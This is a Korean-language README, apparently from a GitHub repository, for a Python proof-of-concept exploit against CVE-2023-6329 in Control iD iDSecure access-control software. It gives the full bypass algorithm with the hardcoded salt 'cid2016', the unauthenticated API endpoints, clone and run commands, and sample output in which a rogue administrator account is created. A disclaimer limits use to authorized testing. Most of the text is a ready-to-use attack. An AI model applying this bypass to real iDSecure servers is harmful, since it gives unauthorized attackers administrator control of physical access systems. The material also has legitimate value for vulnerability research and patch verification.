
CVE-2023-6329 – Control iD iDSecure ≤ 4.7.43.0를 위한 인증 우회 PoC
CVE-2023-6329에 대한 Python 개념 증명 익스플로잇으로, Control iD iDSecure 4.7.43.0 이하 버전에서 발견된 부적절한 접근 제어 취약점입니다. 이 결함은 인증되지 않은 원격 공격자가 공개적으로 접근 가능한 값(장치 일련번호, 서버에서 제공하는 nonce, 하드코딩된 솔트)만을 사용하는 예측 가능한 비밀번호 유도 알고리즘을 악용하여 유효한 로그인 자격 증명을 재구성할 수 있게 합니다. 인증에 성공하면 공격자는 웹 인터페이스에서 새로운 관리 사용자를 생성할 수 있습니다.
Michael Heinzl의 원래 Metasploit 모듈을 기반으로 Python으로 변환되었습니다. 원래 취약점은 Tenable에 의해 발견 및 공개되었습니다.
면책 조항: 이 도구는 교육 목적과 공인된 보안 테스트 용도로만 제공됩니다. 작성자는 오용에 대해 책임을 지지 않습니다. 귀하가 소유하거나 명시적 서면 허가를 받은 시스템에 대해서만 실행하십시오.
iDS-Core.dll의 로그인 루틴은 passwordCustom 매개변수를 통해 대체 인증 경로를 노출합니다. 이 매개변수의 값은 장치의 일련 번호(인증 없이 공개적으로 검색 가능)와 호출자가 제공한 nonce, 그리고 하드코딩된 솔트 문자열(cid2016)을 결합하는 예측 가능한 알고리즘을 사용하여 도출됩니다. 계산의 모든 요소가 공격자에 의해 제어되거나 자유롭게 획득 가능하므로, 모든 원격 공격자는 유효한 passwordCustom 값을 계산하고 관리자로 로그인할 수 있습니다.
이 경로를 통한 인증 성공 시, 서버는 admin 계정의 비밀번호를 admin으로 재설정하거나, 계정이 존재하지 않는 경우 해당 계정을 생성합니다.
익스플로잇은 다섯 단계로 진행됩니다.
1. 버전 확인 — /api/util/configUI 엔드포인트는 소프트웨어 버전을 포함한 401 응답을 반환하여 대상이 취약한 빌드를 실행 중인지 확인합니다.
2. 잠금 해제 데이터 검색 — /api/login/unlockGetData에 대한 GET 요청은 장치의 serial 번호와 passwordRandom nonce를 반환합니다. 이 엔드포인트는 인증이 필요하지 않습니다.
3. passwordCustom 계산 — 다음 알고리즘이 우회 자격 증명을 도출하는 데 적용됩니다.
sha1_hash = SHA1(serial)
combined = sha1_hash + passwordRandom + "cid2016"
sha256_hash = SHA256(combined)
passwordCustom = int(sha256_hash[0:6], 16) # first 6 hex chars → decimal
4. 인증 및 JWT 획득 — 계산된 passwordCustom과 passwordRandom이 /api/login/에 POST되어 관리자 권한이 있는 유효한 JWT accessToken을 반환합니다.
5. 새 관리자 사용자 생성 — JWT를 사용하여 /api/operator/에 POST하고 idType: 1(관리자 역할)로 새 운영자 계정을 등록합니다.
requests 라이브러리git clone https://github.com/itzvenom/CVE-2023-6329.git
cd CVE-2023-6329
pip install requests
python3 exploit.py --host <TARGET_IP> [options]
기본 포트의 대상에 대한 기본 사용법:
python3 exploit.py --host 192.168.1.100
새 관리자 계정에 대한 사용자 정의 자격 증명 지정:
python3 exploit.py --host 192.168.1.100 --username ctfadmin --password S3cr3tPass!
SSL 없이 비표준 포트에서 실행 중인 대상:
python3 exploit.py --host 192.168.1.100 --port 8080 --no-ssl
[*] Target: https://192.168.1.100:30443
============================================================
[*] Target version: 4.7.32.0
[+] Target appears VULNERABLE.
[+] passwordRandom : 2948271034
[+] serial : ABC123XYZ
[*] Computed passwordCustom: 8301745
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] User 'ctfadmin' created successfully.
[+] Verified! New credentials work.
[+] Login at: https://192.168.1.100:30443/#/login
Username : ctfadmin
Password : S3cr3tPass!
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2023-6329 |
| 영향받는 제품 | Control iD iDSecure |
| 영향받는 버전 | ≤ 4.7.43.0 |
| 취약점 유형 | 부적절한 접근 제어 (CWE-284) |
| 공격 벡터 | 네트워크 (인증되지 않음) |
| 공개 날짜 | 2023년 11월 27일 |
| 발견자 | Tenable |
| 인수 | 기본값 | 설명 |
|---|
--host | (필수) | 대상 IP 주소 또는 호스트 이름 |
--port | 30443 | 대상 포트 |
--username | pwned_admin | 새 관리자 계정의 사용자 이름 |
--password | Pwned1234! | 새 관리자 계정의 비밀번호 |
--no-ssl | False | HTTPS 비활성화 (일반 HTTP 사용) |